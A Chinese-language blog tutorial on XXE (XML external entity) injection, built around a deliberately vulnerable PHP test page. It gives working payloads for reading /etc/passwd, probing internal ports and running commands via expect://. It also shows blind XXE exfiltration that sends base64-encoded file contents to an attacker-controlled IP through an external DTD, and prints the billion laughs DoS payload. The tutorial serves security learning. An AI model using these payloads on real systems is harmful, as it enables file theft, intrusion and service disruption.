XXE 指北

XXE 全称是 XML External Entity,即 XML 外部实体注入攻击。

要学 XXE,必须会 XML

XML 基础

XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括:XML 声明DTD 文档类型定义(可选)、文档元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

其他两个元素都好理解,DTD 是啥呢?

DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用:

  • 内部声明:<!DOCTYPE 根元素 [元素声明]>
  • 引用外部:
    • <!DOCTYPE 根元素 SYSTEM "文件名">
    • <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

DTD 中的一些重要的关键字:

  • DOCTYPE:DTD 的声明
  • ENTITY:实体的声明
  • ELEMENT:元素的声明
  • SYSTEM、PUBLIC:申请外部资源

完整的教程可以看这个:传送门🚪

DTD 中的实体

DTD 中的实体是什么呢?实体是用于定义引用普通文本或特殊字符的快捷方式的变量,在 DTD 中使用ENTITY声明。以下内容对DTD 中的实体简称为实体

实体按照类型可以这样划分:

  • 内置实体
  • 字符实体
  • 通用实体
  • 参数实体

上面这 4 种类型,最特殊的是参数实体,它用%+空格+实体名称声明,例如<!ENTITY % 实体名称 "实体的值">,引用时用%+实体名称,并且只能在 DTD 中申明, DTD 中引用
对于其他的实体,直接用实体名称申明,例如<!ENTITY 实体名称 "实体的值">,引用时用&+实体名称,只能在 DTD 中申明,可在 XML 和 DTD 中引用

实体按照引用方式还可以划分为:内部实体与外部实体:

  • 内部实体:<!ENTITY 实体名称 "实体内容">
  • 外部实体:<!ENTITY 实体名称 SYSTEM "URI">

这两种分类是完全独立的,所以一个实体可能既是内部实体也是参数实体,例如

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

通过以上的介绍,你会发现实体这个概念,实际上很像变量。都是,先声明,后引用,<!ENTITY ... >是实体声明的格式。

XXE

XXE 主要是利用 DTD 引用外部实体导致的漏洞,如果你看过上面的内容你就会知道引用外部实体的方式就是:<!ENTITY 实体名称 SYSTEM "URI">

那么问题来了,"URL" 支持哪些类型的外部实体呢?不同程序的支持是不一样的:

上图是默认的支持协议,还可以支持扩展,如 PHP 支持的扩展协议有:

本文以 PHP 为例。需要注意的是,libxml 2.9.1 及更高版本,默认不解析外部实体。高版本需要加入 LIBXML_NOENT 参数才能解析外部实体:simplexml_load_string($_GET["data"], 'SimpleXMLElement', LIBXML_NOENT)
搭建测试环境推荐:传送门🚪
然后进入 www 目录下,增加 index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>

<head>
<title>XXE Test</title>
</head>

<body>
<form action="index.php" method="get">
<textarea style="width:300px;height:100px;"></textarea>
<br>
<input name="data" type="submit" value="go" />
</form>

</body>

index.php 换为:

1
2
3
4
5
<?php

print_r(simplexml_load_string($_GET["data"]));

?>

漏洞检测

  1. 检测 XML 是否会被解析:
    payload
    1
    2
    3
    4
    <?xml version="1.0" encoding="UTF-8"?>  
    <!DOCTYPE ANY [
    <!ENTITY name "Tr0y is here!">]>
    <hacker>&name;</hacker>

    结果
    1
    SimpleXMLElement Object ( [name] => SimpleXMLElement Object ( [name] => Tr0y is here! ) )

    证明可以解析 XML
  2. 检测是否支持 DTD 引用外部实体:
    payload
    1
    2
    3
    4
    <?xml version="1.0" encoding="UTF-8"?>  
    <!DOCTYPE ANY [
    <!ENTITY name SYSTEM "http://123.206.255.249/xxe_test">]>
    <hacker>&name;</hacker>

    在服务器上查看 web 日志,结果:
    1
    2
    > cat /var/log/httpd/access_log| grep "xxe"
    ***.***.***.*** - - [03/May/2019:14:31:53 +0800] "GET /xxe_test HTTP/1.0" 404 77 "-" "-"

    在日志中有 xxe_test 的记录,说明支持引用外部实体,那么很有可能是存在 XXE 的。

探测内网 http 端口

利用 XXE 来探测 http 端口,用途不大
payload

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "http://127.0.0.1:88">]>
<hacker>&name;</hacker>

如果很久都没反应或者出现:
1
Warning: simplexml_load_string(http://127.0.0.1:88): failed to open stream: Connection refused

说明端口是关闭的。
如果网页快速加载完毕,说明端口开着。

攻击内网网站

payload 和检测端口类似,利用 XXE 发起请求,用途不大

读取任意文件

利用 file 协议读取文件,危害较大
payload

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<hacker>&name;</hacker>

结果:
1
SimpleXMLElement Object ( [name] => SimpleXMLElement Object ( [name] => root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false ) )

执行系统命令

PHP 安装了 expect 扩展时才能利用,该扩展默认没有安装。危害极大
payload

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "expect://ls">]>
<hacker>&name;</hacker>

关于两种形式的 payload

如果你把上面都看完了,你会发现每个 payload 实际上都有 2 种形式:
第一种:

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<hacker>&name;</hacker>

第二种:
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

第二种实际上就是上面所说的 参数实体。我更倾向于使用第一种。因为第二种将 payload 执行的结果直接嵌入到 DTD 里去了,我们没法保证 payload 的结果的格式满足 DTD 的要求,所以经常会导致程序报错。
例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Warning: simplexml_load_string(): file:///etc/passwd:1: parser error : internal error in /var/www/html/index.php on line 3

Warning: simplexml_load_string(): root:x:0:0:root:/root:/bin/bash in /var/www/html/index.php on line 3

Warning: simplexml_load_string(): ^ in /var/www/html/index.php on line 3

Warning: simplexml_load_string(): file:///etc/passwd:1: parser error : DOCTYPE improperly terminated in /var/www/html/index.php on line 3

Warning: simplexml_load_string(): root:x:0:0:root:/root:/bin/bash in /var/www/html/index.php on line 3

Warning: simplexml_load_string(): ^ in /var/www/html/index.php on line 3

Warning: simplexml_load_string(): file:///etc/passwd:1: parser error : Start tag expected, '<' not found in /var/www/html/index.php on line 3

Warning: simplexml_load_string(): root:x:0:0:root:/root:/bin/bash in /var/www/html/index.php on line 3

Warning: simplexml_load_string(): ^ in /var/www/html/index.php on line 3

我们可以找到 root:x:0:0:root:/root:/bin/bash,说明 payload 执行成功了,但是效果相当不好。
那么难道 参数实体 的 XXE 就没用任何用处了吗?有 2 个常见的场景:

  1. DTD 之外被禁止引用实体,这时只能在 DTD 内引用实体
  2. 程序无回显,只能利用 Blind XXE,即 XXE 盲注

XXE 盲注

我们把 PHP 代码里的print_r取掉就是无回显的 XXE 了。既然没有回显,我们就要想办法走 OOB,通过 http 请求外带数据。
简单来说,Blink XXE 主要使用了 DTD 的参数实体内部实体。上面说过,实体很像变量,既然如此这样岂不是就能外带数据了?的确是这样,不过有些地方需要注意。

在尝试盲注的时候,我发现了一个现象,<!ENTITY % hacker SYSTEM "http://192.168.26.175/?secret=%secret;">或者<!ENTITY hacker SYSTEM "http://192.168.26.175/?secret=%secret;"> 都是可以的,但是%secret;不会被替换为123,如果是%&#37;secret;也不会被替换为%secret;<!ENTITY % hacker "http://192.168.26.175/?secret=%secret;">或者<!ENTITY hacker "http://192.168.26.175/?secret=%secret;"> 都是不行的,因为不能直接在参数实体的定义中引用参数实体

1
Warning: simplexml_load_string(): Entity: line 4: parser error : PEReferences forbidden in internal subset in /var/www/html/index.php on line 3

来试试:
不加 SYSTEM

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % secret "123">
<!ENTITY hacker "http://192.168.26.175/?secret=%secret;">

]>
<hacker>&hacker;</hacker>

结果
1
Warning: simplexml_load_string(): Entity: line 4: parser error : PEReferences forbidden in internal subset in /var/www/html/index.php on line 3

加了 SYSTEM

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % secret "123">
<!ENTITY hacker SYSTEM "http://192.168.26.175/?secret=%secret;">

]>
<hacker>&hacker;</hacker>

结果:
1
Warning: simplexml_load_string(): Entity: line 4: parser error : Invalid URI: http://192.168.26.175/?secret=%secret; in /var/www/html/index.php on line 3

%secret; 没被特殊处理。

那么我们可以得出结论,要想将 %secret; 替换为 123,就不能使用 SYSTEM,但是我们又想通过 SYSTEM 让数据走 OOB。所以只能嵌套了:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % secret "123">
<!ENTITY % hacker "<!ENTITY &#37; sending SYSTEM 'http://192.168.26.175/?secret=%secret;'>">

%hacker;
%sending;
]>

结果:
1
Warning: simplexml_load_string(): Entity: line 4: parser error : PEReferences forbidden in internal subset in /var/www/html/index.php on line 3

还是不行,因为secret=%secret;中有%存在,看来对于不能直接在参数实体的定义中引用参数实体的限制能够穿越多层引号。

那如果变为secret=&#37;secret;呢?

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % secret "123">
<!ENTITY % hacker "<!ENTITY &#37; sending SYSTEM 'http://192.168.26.175/?secret=&#37;secret;'>">

%hacker;
%sending;
]>

结果

1
Warning: simplexml_load_string(): Entity: line 1: parser error : Invalid URI: http://192.168.26.175/?secret=%secret; in /var/www/html/index.php on line 3

也就是说,最里面这一层的 &#37;secret; 经过处理的确会变成%secret;,但是内层就不会再进行处理了,所以这个方法也没用。

但是我们将 <!ENTITY % hacker "<!ENTITY &#37; sending SYSTEM 'http://192.168.26.175/?secret=%secret;'>"> 放到外部文件中,就可以绕过不能直接在参数实体的定义中引用参数实体的限制:
payload:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % secret "123">
<!ENTITY % visit_hacker SYSTEM "http://192.168.26.175/Tr0y.xml">
%visit_hacker;
%hacker;
%sending;
]>

Tr0y.xml:

1
<!ENTITY % hacker "<!ENTITY &#37; sending SYSTEM 'http://192.168.26.175/?secret=%secret;'>">

日志结果:
1
192.168.26.1 - - [03/May/2019:17:54:18 +0800] "GET /?secret=123 HTTP/1.0" 200 495 "-" "-"

如果 %secret; 中有奇怪的字符导致 URL 非法,用 php:// 转一下就行:
payload:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % secret SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % visit_hacker SYSTEM "http://your_own_ip/Tr0y.xml">
%visit_hacker;
%hacker;
]>
<hacker>&sending;</hacker>

日志:
1
192.168.26.1 - - [03/May/2019:16:33:31 +0800] "GET /?secret=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovYmluL2ZhbHNlCg== HTTP/1.0" 200 495 "-" "-"

base64 解码即可。

这样一来,即使限制在 DTD 外部定义数据,或者页面没有回显,也可以将数据到了。

当然这样也可以:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % secret "123">
<!ENTITY % visit_hacker SYSTEM "http://192.168.26.175/Tr0y.xml">
%visit_hacker;
%hacker;
]>

<hacker>&sending;</hacker>

只不过需要改一下Tr0y.xml
1
<!ENTITY % hacker "<!ENTITY sending SYSTEM 'http://192.168.26.175/?secret=%secret;'>">

注意,经过测试Troy.xml 中的 <!ENTITY sending SYSTEM 'http://192.168.26.176/?secret=%secret;'> 中的http://192.168.26.176/?secret=%secret;长度大于 1k 会报错Detected an entity reference loop。所以 XXE 盲注的时候数据外带的量是有限制的

题外话:我觉得这个盲注就像个 bug,明明规定不能直接在参数实体的定义中引用参数实体,通过外部的 XML 文件居然就可以,估计哪一天libxml修复了就没了。。。

一个技巧

CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。在 XML 元素中,<(新元素的开始)和 &(字符实体的开始)是非法的。某些文本,比如 JavaScript 代码,包含大量 <& 字符。为了避免错误,可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由 <![CDATA[ 开始,由 ]]> 结束。

通过上面的介绍,我们可以将读取文件的结果放在 CDATA 里面,这样就不会因为内容里含有特殊字符导致报错了:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data ANY[
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.26.175/Tr0y.xml">
%dtd;
]>
<data>&all;</data>

Tr0y.xml:

1
<!ENTITY all '%start;%goodies;%end;'>

其他

XXE 的概念涉及到了外部实体,严格来说没用到 DTD 或者外部实体的不算 XXE。但是也有一些有意思的攻击方式,这里做个记录:

  • DoS 攻击
    著名的 billion laughs attack

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>

    这个是网上流传的经典的 payload,但是在 libxml<2.9.1 的测试过程中,我发现会报错:
    1
    Warning: simplexml_load_string(): Entity: line 1: parser error : Detected an entity reference loop in /var/www/html/index.php on line 3

    现在也限制分配的内存了,这样的攻击现在应该很少见了。

  • XSLT 注入攻击:可以看这篇文章,传送门🚪。XSLT 简单地说是对 XML 文档进行转化的语言,可以将 XML 转为 txt、HTML 等等格式的文件。

杂谈

XXE 感觉最近挺少见了,原因应该是各类解析组件的完善——默认不支持外部实体,所谓的默认安全机制就是这样吧。


来呀快活呀


XXE 指北
https://www.tr0y.wang/2019/05/03/XXE指北/
作者
Tr0y
发布于
2019年5月3日
更新于
2024年4月12日
许可协议